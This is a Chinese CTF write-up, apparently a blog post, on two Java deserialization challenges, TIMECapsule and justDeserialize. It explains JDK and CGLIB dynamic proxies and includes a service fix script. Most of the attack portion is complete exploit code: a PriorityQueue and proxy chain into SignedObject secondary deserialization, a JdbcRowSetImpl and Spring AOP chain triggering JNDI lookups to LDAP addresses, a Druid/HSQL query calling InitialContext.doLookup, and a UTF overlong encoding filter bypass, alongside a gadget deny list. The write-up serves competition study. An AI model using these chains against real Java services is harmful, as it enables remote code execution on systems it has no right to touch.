TIMECapsule &   justDeserialize 学习动态代理
写在最前面
两场比赛的java题目都是属于那种,修复很好修但是很难打
ccb半决赛修复的问题给我很大的教训,改过来之后软件赛在华东赛区拿下fix一血二血
FIX
修复的时候需要注意
- 服务需要手动kill掉对应的题目进程 
- 服务重启的时候需要是使用nohup后台启动,不然当fix的进程被杀死,就会导致启动的服务挂掉,导致修复失败 - 给出一题的修复脚本 | 12
 3
 4
 5
 6
 
 | #!/bin/sh
 pkill -9 dotnet
 rm /app/RazorCor.dll
 mv RazorCor.dll /app/RazorCor.dll
 nohup dotnet /app/RazorCor.dll &
 
 |  
 
TIMECapsule
动态代理
	代理类在程序运行时创建的代理方式被成为动态代理。代理类并不是在Java代码中定义的,而是在运行时根据我们在Java代码中的“指示”动态生成的。相比于静态代理, 动态代理的优势在于可以很方便的对代理类的函数进行统一的处理,而不用修改每个代理类中的方法。
Java 代理模式详解 | JavaGuide
| 1
 | 通过Proxy 类的 newProxyInstance() 创建的代理对象在调用方法的时候,实际会调用到实现InvocationHandler 接口的类的 invoke()方法。 你可以在 invoke() 方法中自定义处理逻辑,比如在方法执行前后做什么事情。
 | 
主要包括两种动态代理的方式
JDK动态代理
| 12
 3
 
 | 1.定义一个接口及其实现类;2.自定义 InvocationHandler 并重写invoke方法,在 invoke 方法中我们会调用原生方法(被代理类的方法)并自定义一些处理逻辑
 3.通过 Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h) 方法创建代理对象;
 
 | 
CGLIB动态代理
jdk的问题是,必须要实现对应的接口,代理实现了接口的类
CGLIB(Code Generation Library)是一个基于ASM的字节码生成库,它允许我们在运行时对字节码进行修改和动态生成。CGLIB 通过继承方式实现代理。很多知名的开源框架都使用到了CGLIB, 例如 Spring 中的 AOP 模块中:如果目标对象实现了接口,则默认采用 JDK 动态代理,否则采用 CGLIB 动态代理
| 1
 | 定义一个类;自定义 MethodInterceptor 并重写 intercept 方法,intercept 用于拦截增强被代理类的方法,和 JDK 动态代理中的 invoke 方法类似;通过 Enhancer 类的 create()创建代理类
 | 
来自CISCN&CCB 的半决赛赛题 TIMECapsule ,赛后复现,感谢Aecous师傅的帮助
这题的fix环境十分的抽象,懒得喷了
核心漏洞点在这里

将一个传入的值就行了反序列化,同时存在一个简单的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | public class SafeObjectInputStream extends ObjectInputStream {public SafeObjectInputStream(InputStream in) throws IOException {
 super(in);
 }
 
 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
 if (!desc.getName().startsWith("com.ctf.*") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B")) {
 throw new InvalidClassException("Unauthorized class deserialization", desc.getName());
 } else {
 return super.resolveClass(desc);
 }
 }
 }
 
 
 | 
限制了只允许反序列化com.ctf.*下的类和java.*的类,以及[B,不是这到底是个啥,只在序列化字符串的里面看到过
注意到在com.ctf.util存在FieldGetterHandler
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | 
 
 
 
 package com.ctf.util;
 
 import java.io.Serializable;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 
 public class FieldGetterHandler implements InvocationHandler, Serializable {
 String fieldName;
 
 public FieldGetterHandler() {
 }
 
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 Object myObject = args[0];
 Class<?> clazz = myObject.getClass();
 String getterMethodName = getGetterMethodName(this.fieldName, false);
 Method getterMethod = clazz.getMethod(getterMethodName);
 return getterMethod.invoke(myObject);
 }
 
 private static String getGetterMethodName(String fieldName, boolean isBoolean) {
 String prefix = isBoolean ? "is" : "get";
 return prefix + capitalize(fieldName);
 }
 
 private static String capitalize(String str) {
 return str != null && !str.isEmpty() ? str.substring(0, 1).toUpperCase() + str.substring(1) : str;
 }
 }
 
 
 | 
这里提供了一个对象代理,当调用被代理的对象的方法的时候会触发这里的invoke
尝试通过一个getGetterMethodName,调用任意的getter方法。
getter方法,比较好的就是走signedObject,这个类在java.security.* 下,不被反序列化限制,同时可以触发getObject方法,完成二次反序列化
但是我们需要寻找一个类,这个类这些要求
- 需要在java.*下
- 这个类反序列化的时候会触发一个方法,要求这个方法的参数可控
本来尝试了hashmap,hashset这些,但是他们都会优先触发hashcode,然后导致报错

因为hashcode是空,所以获取不到arg直接报错了
这里小林找到了一个类priorityQueue 这个类反序列化的时候会触发compare,参数可控,就能触发我们的代理
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 
 | package com.ctf;
 
 
 import com.ctf.util.SafeObjectInputStream;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import com.sun.org.apache.xpath.internal.objects.XString;
 
 import javax.xml.transform.Templates;
 import java.io.*;
 import java.lang.reflect.*;
 import java.security.*;
 import java.util.*;
 
 import static org.example.twice.SignedObject.BadAttributeValueExpException_signobject.payload;
 
 public class poc {
 public static void main(String[] args) throws Exception {
 
 HashMap hashMap = new HashMap();
 
 
 Object signobj = second_serialize(payload());
 
 
 Class<?> aClass = Class.forName("com.ctf.util.FieldGetterHandler");
 Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
 declaredConstructor.setAccessible(true);
 InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance();
 
 setValue(o,"fieldName","object");
 
 Object proxy = Proxy.newProxyInstance(signobj.getClass().getClassLoader(), new Class[]{Comparator.class}, o);
 
 
 
 PriorityQueue priorityQueue = new PriorityQueue(2);
 
 
 priorityQueue.add(1);
 priorityQueue.add(2);
 Object[] queue = {signobj,signobj};
 
 setValue(priorityQueue,"comparator",proxy);
 setValue(priorityQueue,"queue",queue);
 
 String serialize = serialize(signobj);
 unserialize(serialize);
 
 }
 
 
 public static String serialize(Object obj) throws IOException {
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(obj);
 String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
 return poc;
 }
 
 
 
 public static void unserialize(String exp) throws IOException,ClassNotFoundException{
 byte[] bytes = Base64.getDecoder().decode(exp);
 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
 ObjectInputStream objectInputStream = new SafeObjectInputStream(byteArrayInputStream);
 Object o = objectInputStream.readObject();
 o.equals(new String());
 }
 
 public static Object second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
 KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
 kpg.initialize(1024);
 KeyPair kp = kpg.generateKeyPair();
 SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
 return  signedObject;
 }
 
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 
 }
 
 | 
成功触发

justDeserialize
这题有一个存在反序列化,并且触发tostring
第一层waf是检测字符串的 直接utf overlong coding 就过掉了

但是tostring触发的几个链子都在黑名单里面,黑名单还是很长的

tostring 能走的几个路子都死了,该干什么呢
vn群里看到师傅发了这篇文章
 文章 - 帆软HSQL二次反序列化利用浅析 - 先知社区
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | DruidDataSource druidDataSource = new DruidDataSource();druidDataSource.setUrl("jdbc:hsqldb:mem:test");
 druidDataSource.setValidationQuery("CALL \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1389/Exploit')");
 druidDataSource.setUsername("sa");
 druidDataSource.setPassword("");
 druidDataSource.setInitialSize(1);
 druidDataSource.setLogWriter(null);
 druidDataSource.setStatLogger(null);
 Reflections.setFieldValue(druidDataSource, "transactionHistogram", null);
 
 | 
不过我按照文章内的内容,删除/制空不能序列化的内容,搞了蛮久也没成功,不知道有没有大跌可以帮我看下
然后使用jdk自带的JdbcRowSetImpl,l利用之前某篇文章内的aop链子,tostring触发methods.invoke(),就可以实现jndi注入
不过一直不知道为报错,学习了软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog 后,了解到先需要实现相关的接口才能序列化进去
最终exp如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 
 | package com.example.ezjav;
 import com.alibaba.druid.pool.DruidDataSource;
 
 import java.io.*;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
 import java.sql.SQLException;
 import java.util.*;
 
 import  org.example.payload_test.TemplatesImplDemo;
 import com.sun.rowset.JdbcRowSetImpl;
 import org.apache.commons.codec.binary.Hex;
 import org.example.java_RMI.server;
 import org.hsqldb.jdbcDriver;
 import org.springframework.aop.framework.AdvisedSupport;
 
 import javax.swing.event.EventListenerList;
 
 public class payload {
 public static void main(String[] args) throws Exception {
 JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
 jdbcRowSet.setDataSourceName("ldap://127.0.0.1:3232/3fa0f4");
 
 Object proxy = aop_tools.aop_tostring(jdbcRowSet,"getDatabaseMetaData");
 Object compare = aop_tools.aop_addInterface(proxy,new Class[]{Comparator.class});
 PriorityQueue<Object> queue = new PriorityQueue(2);
 queue.add("1");
 queue.add("1");
 Reflections.setFieldValue(queue,"comparator",compare);
 Reflections.setFieldValue(queue,"queue",new Object[]{proxy,proxy});
 
 deserial(serial(queue));
 
 }
 public static String serial(Object o) throws IOException, NoSuchFieldException {
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(baos);
 oos.writeObject(o);
 oos.close();
 
 String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
 return base64String;
 
 }
 
 public static void deserial(String data) throws Exception {
 byte[] decode = Base64.getDecoder().decode(data);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 byteArrayOutputStream.write(decode);
 MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
 objectInputStream.readObject();
 }
 static class MyObjectInputStream extends ObjectInputStream {
 private Set<String> denyClasses;
 
 public MyObjectInputStream(InputStream in) throws IOException {
 super(in);
 this.denyClasses = new HashSet<>();
 denyClasses.add("javax.management.BadAttributeValueExpException");
 denyClasses.add("com.sun.org.apache.xpath.internal.objects.XString");
 denyClasses.add("java.rmi.MarshalledObject");
 denyClasses.add("java.rmi.activation.ActivationID");
 denyClasses.add("javax.swing.event.EventListenerList");
 denyClasses.add("java.rmi.server.RemoteObject");
 denyClasses.add("javax.swing.AbstractAction");
 denyClasses.add("javax.swing.text.DefaultFormatter");
 denyClasses.add("java.beans.EventHandler");
 denyClasses.add("java.net.Inet4Address");
 denyClasses.add("java.net.Inet6Address");
 denyClasses.add("java.net.InetAddress");
 denyClasses.add("java.net.InetSocketAddress");
 denyClasses.add("java.net.Socket");
 denyClasses.add("java.net.URL");
 denyClasses.add("java.net.URLStreamHandler");
 denyClasses.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
 denyClasses.add("java.rmi.registry.Registry");
 denyClasses.add("java.rmi.RemoteObjectInvocationHandler");
 denyClasses.add("java.rmi.server.ObjID");
 denyClasses.add("java.lang.System");
 denyClasses.add("javax.management.remote.JMXServiceUR");
 denyClasses.add("javax.management.remote.rmi.RMIConnector");
 denyClasses.add("java.rmi.server.RemoteRef");
 denyClasses.add("javax.swing.UIDefaults$TextAndMnemonicHashMap");
 denyClasses.add("java.rmi.server.UnicastRemoteObject");
 denyClasses.add("java.util.Base64");
 denyClasses.add("java.util.Comparator");
 denyClasses.add("java.util.HashMap");
 denyClasses.add("java.util.logging.FileHandler");
 denyClasses.add("java.security.SignedObject");
 denyClasses.add("javax.swing.UIDefaults");
 }
 
 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
 String className = desc.getName();
 if (this.denyClasses.contains(className))
 throw new ClassNotFoundException("Class is blacklisted: " + className);
 return super.resolveClass(desc);
 }
 
 }
 }
 
 
 | 
成功发起jndi请求

后面就是jndi的打法了,不在赘述
使用的aoptools 我简单封装了一下,以便复用
AsaL1n/aop_tools